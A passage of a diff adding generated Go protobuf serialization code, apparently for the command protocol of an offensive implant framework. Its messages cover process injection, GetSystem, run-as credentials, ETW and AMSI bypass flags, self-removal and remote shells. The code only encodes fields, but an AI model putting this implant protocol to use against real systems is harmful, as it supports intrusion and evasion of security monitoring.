i-- + dAtA[i] = 0x22 + } + } + if len(m.MethodName) > 0 { + i -= len(m.MethodName) + copy(dAtA[i:], m.MethodName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.MethodName))) + i-- + dAtA[i] = 0x1a + } + if len(m.ClassName) > 0 { + i -= len(m.ClassName) + copy(dAtA[i:], m.ClassName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ClassName))) + i-- + dAtA[i] = 0x12 + } + if len(m.Namespace) > 0 { + i -= len(m.Namespace) + copy(dAtA[i:], m.Namespace) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Namespace))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *RunAsRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *RunAsRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *RunAsRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.UseEnv { + i-- + if m.UseEnv { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x40 + } + if m.Netonly { + i-- + if m.Netonly { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x38 + } + if m.UseProfile { + i-- + if m.UseProfile { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x30 + } + if len(m.Args) > 0 { + i -= len(m.Args) + copy(dAtA[i:], m.Args) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Args))) + i-- + dAtA[i] = 0x2a + } + if len(m.Program) > 0 { + i -= len(m.Program) + copy(dAtA[i:], m.Program) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Program))) + i-- + dAtA[i] = 0x22 + } + if len(m.Password) > 0 { + i -= len(m.Password) + copy(dAtA[i:], m.Password) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Password))) + i-- + dAtA[i] = 0x1a + } + if len(m.Domain) > 0 { + i -= len(m.Domain) + copy(dAtA[i:], m.Domain) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Domain))) + i-- + dAtA[i] = 0x12 + } + if len(m.Username) > 0 { + i -= len(m.Username) + copy(dAtA[i:], m.Username) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Username))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *GetSystem) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *GetSystem) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *GetSystem) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x10 + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Inject) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Inject) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Inject) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Pid != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Pid)) + i-- + dAtA[i] = 0x10 + } + if len(m.Bin) > 0 { + i -= len(m.Bin) + copy(dAtA[i:], m.Bin) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Bin))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Pipe) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Pipe) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Pipe) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Data) > 0 { + i -= len(m.Data) + copy(dAtA[i:], m.Data) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Data))) + i-- + dAtA[i] = 0x22 + } + if len(m.Target) > 0 { + i -= len(m.Target) + copy(dAtA[i:], m.Target) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Target))) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *PipeRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PipeRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *PipeRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.Pipe != nil { + size, err := m.Pipe.MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Switch) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *Switch) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *Switch) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Urls) > 0 { + for iNdEx := len(m.Urls) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Urls[iNdEx]) + copy(dAtA[i:], m.Urls[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Urls[iNdEx]))) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *TaskCtrl) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskCtrl) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *TaskCtrl) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Op) > 0 { + i -= len(m.Op) + copy(dAtA[i:], m.Op) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Op))) + i-- + dAtA[i] = 0x12 + } + if m.TaskId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TaskId)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *TaskInfo) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskInfo) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *TaskInfo) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if m.SendCount != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.SendCount)) + i-- + dAtA[i] = 0x20 + } + if m.RecvCount != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.RecvCount)) + i-- + dAtA[i] = 0x18 + } + if m.Last != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Last)) + i-- + dAtA[i] = 0x10 + } + if m.TaskId != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.TaskId)) + i-- + dAtA[i] = 0x8 + } + return len(dAtA) - i, nil +} + +func (m *TaskListResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *TaskListResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *TaskListResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Tasks) > 0 { + for iNdEx := len(m.Tasks) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.Tasks[iNdEx].MarshalToSizedBufferVTStrict(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0xa + } + } + return len(dAtA) - i, nil +} + +func (m *FFmpegRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *FFmpegRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *FFmpegRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Time) > 0 { + i -= len(m.Time) + copy(dAtA[i:], m.Time) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Time))) + i-- + dAtA[i] = 0x2a + } + if len(m.OutputPath) > 0 { + i -= len(m.OutputPath) + copy(dAtA[i:], m.OutputPath) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputPath))) + i-- + dAtA[i] = 0x22 + } + if len(m.OutputFormat) > 0 { + i -= len(m.OutputFormat) + copy(dAtA[i:], m.OutputFormat) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputFormat))) + i-- + dAtA[i] = 0x1a + } + if len(m.DeviceName) > 0 { + i -= len(m.DeviceName) + copy(dAtA[i:], m.DeviceName) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.DeviceName))) + i-- + dAtA[i] = 0x12 + } + if len(m.Action) > 0 { + i -= len(m.Action) + copy(dAtA[i:], m.Action) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Action))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *PtyRequest) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PtyRequest) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *PtyRequest) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Params) > 0 { + for k := range m.Params { + v := m.Params[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x42 + } + } + if len(m.InputText) > 0 { + i -= len(m.InputText) + copy(dAtA[i:], m.InputText) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.InputText))) + i-- + dAtA[i] = 0x3a + } + if len(m.InputData) > 0 { + i -= len(m.InputData) + copy(dAtA[i:], m.InputData) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.InputData))) + i-- + dAtA[i] = 0x32 + } + if m.Rows != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Rows)) + i-- + dAtA[i] = 0x28 + } + if m.Cols != 0 { + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(m.Cols)) + i-- + dAtA[i] = 0x20 + } + if len(m.Shell) > 0 { + i -= len(m.Shell) + copy(dAtA[i:], m.Shell) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Shell))) + i-- + dAtA[i] = 0x1a + } + if len(m.SessionId) > 0 { + i -= len(m.SessionId) + copy(dAtA[i:], m.SessionId) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.SessionId))) + i-- + dAtA[i] = 0x12 + } + if len(m.Type) > 0 { + i -= len(m.Type) + copy(dAtA[i:], m.Type) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Type))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *PtyResponse) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *PtyResponse) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *PtyResponse) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Metadata) > 0 { + for k := range m.Metadata { + v := m.Metadata[k] + baseI := i + i -= len(v) + copy(dAtA[i:], v) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(v))) + i-- + dAtA[i] = 0x12 + i -= len(k) + copy(dAtA[i:], k) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(k))) + i-- + dAtA[i] = 0xa + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(baseI-i)) + i-- + dAtA[i] = 0x3a + } + } + if len(m.ActiveSessions) > 0 { + for iNdEx := len(m.ActiveSessions) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.ActiveSessions[iNdEx]) + copy(dAtA[i:], m.ActiveSessions[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.ActiveSessions[iNdEx]))) + i-- + dAtA[i] = 0x32 + } + } + if m.SessionActive { + i-- + if m.SessionActive { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + i-- + dAtA[i] = 0x28 + } + if len(m.Error) > 0 { + i -= len(m.Error) + copy(dAtA[i:], m.Error) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Error))) + i-- + dAtA[i] = 0x22 + } + if len(m.OutputText) > 0 { + i -= len(m.OutputText) + copy(dAtA[i:], m.OutputText) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputText))) + i-- + dAtA[i] = 0x1a + } + if len(m.OutputData) > 0 { + i -= len(m.OutputData) + copy(dAtA[i:], m.OutputData) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.OutputData))) + i-- + dAtA[i] = 0x12 + } + if len(m.SessionId) > 0 { + i -= len(m.SessionId) + copy(dAtA[i:], m.SessionId) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.SessionId))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *CommonBody) MarshalVTStrict() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVTStrict(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *CommonBody) MarshalToVTStrict(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVTStrict(dAtA[:size]) +} + +func (m *CommonBody) MarshalToSizedBufferVTStrict(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.BytesArray) > 0 { + for iNdEx := len(m.BytesArray) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.BytesArray[iNdEx]) + copy(dAtA[i:], m.BytesArray[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.BytesArray[iNdEx]))) + i-- + dAtA[i] = 0x52 + } + } + if len(m.StringArray) > 0 { + for iNdEx := len(m.StringArray) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.StringArray[iNdEx]) + copy(dAtA[i:], m.StringArray[iNdEx]) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.StringArray[iNdEx]))) + i-- + dAtA[i] = 0x42 + } + } + if len(m.BoolArray) > 0 { + for iNdEx := len(m.BoolArray) - 1; iNdEx >= 0; iNdEx-- { + i-- + if m.BoolArray[iNdEx] { + dAtA[i] = 1 + } else { + dAtA[i] = 0 + } + } + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.BoolArray))) + i-- + dAtA[i] = 0x32 + } + if len(m.U64Array) > 0 { + var pksize2 int + for _, num := range m.U64Array { + pksize2 += protobuf_go_lite.SizeOfVarint(uint64(num)) + } + i -= pksize2 + j1 := i + for _, num := range m.U64Array { + for num >= 1<<7 { + dAtA[j1] = uint8(uint64(num)&0x7f | 0x80) + num >>= 7 + j1++ + } + dAtA[j1] = uint8(num) + j1++ + } + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(pksize2)) + i-- + dAtA[i] = 0x22 + } + if len(m.U32Array) > 0 { + var pksize4 int + for _, num := range m.U32Array { + pksize4 += protobuf_go_lite.SizeOfVarint(uint64(num)) + } + i -= pksize4 + j3 := i + for _, num := range m.U32Array { + for num >= 1<<7 { + dAtA[j3] = uint8(uint64(num)&0x7f | 0x80) + num >>= 7 + j3++ + } + dAtA[j3] = uint8(num) + j3++ + } + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(pksize4)) + i-- + dAtA[i] = 0x12 + } + if len(m.Name) > 0 { + i -= len(m.Name) + copy(dAtA[i:], m.Name) + i = protobuf_go_lite.EncodeVarint(dAtA, i, uint64(len(m.Name))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + +func (m *Ping) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Nonce != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Nonce)) + } + n += len(m.unknownFields) + return n +} + +func (m *Register) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Proxy) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Module) > 0 { + for _, s := range m.Module { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + if len(m.Addons) > 0 { + for _, e := range m.Addons { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + if m.Timer != nil { + l = m.Timer.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Sysinfo != nil { + l = m.Sysinfo.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Secure != nil { + l = m.Secure.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Secure) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Enable { + n += 2 + } + l = len(m.Key) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Type) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.PublicKey) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *KeyExchangeRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.PublicKey) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Signature) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Timestamp != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Timestamp)) + } + l = len(m.Nonce) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *KeyExchangeResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.PublicKey) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Init) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Data) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *SysInfo) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Filepath) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Workdir) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.IsPrivilege { + n += 2 + } + if m.Os != nil { + l = m.Os.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.Process != nil { + l = m.Process.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Suicide) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Type != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Type)) + } + if m.Timestamp != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Timestamp)) + } + n += len(m.unknownFields) + return n +} + +func (m *Request) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Input) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Args) > 0 { + for _, s := range m.Args { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + if len(m.Params) > 0 { + for k, v := range m.Params { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + l = len(m.Bin) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *Response) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Output) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Error) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.Kv) > 0 { + for k, v := range m.Kv { + _ = k + _ = v + mapEntrySize := 1 + len(k) + protobuf_go_lite.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protobuf_go_lite.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 1 + protobuf_go_lite.SizeOfVarint(uint64(mapEntrySize)) + } + } + if len(m.Array) > 0 { + for _, s := range m.Array { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *BypassRequest) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.ETW { + n += 2 + } + if m.AMSI { + n += 2 + } + if m.BlockDll { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m *NetInterface) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Index != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.Index)) + } + l = len(m.Name) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Mac) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if len(m.IpAddresses) > 0 { + for _, s := range m.IpAddresses { + l = len(s) + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *SockTabEntry) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.LocalAddr) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.RemoteAddr) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.SkState) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Pid) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + l = len(m.Protocol) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + +func (m *NetstatResponse) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if len(m.Socks) > 0 { + for _, e := range m.Socks { + l = e.SizeVT() + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n +} + +func (m *Block) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.BlockId != 0 { + n += 1 + protobuf_go_lite.SizeOfVarint(uint64(m.BlockId)) + } + l = len(m.Content) + if l > 0 { + n += 1 + l + protobuf_go_lite.SizeOfVarint(uint64(l)) + } + if m.End { + n += 2 + } + n += len(m.unknownFields) + return n +} + +func (m 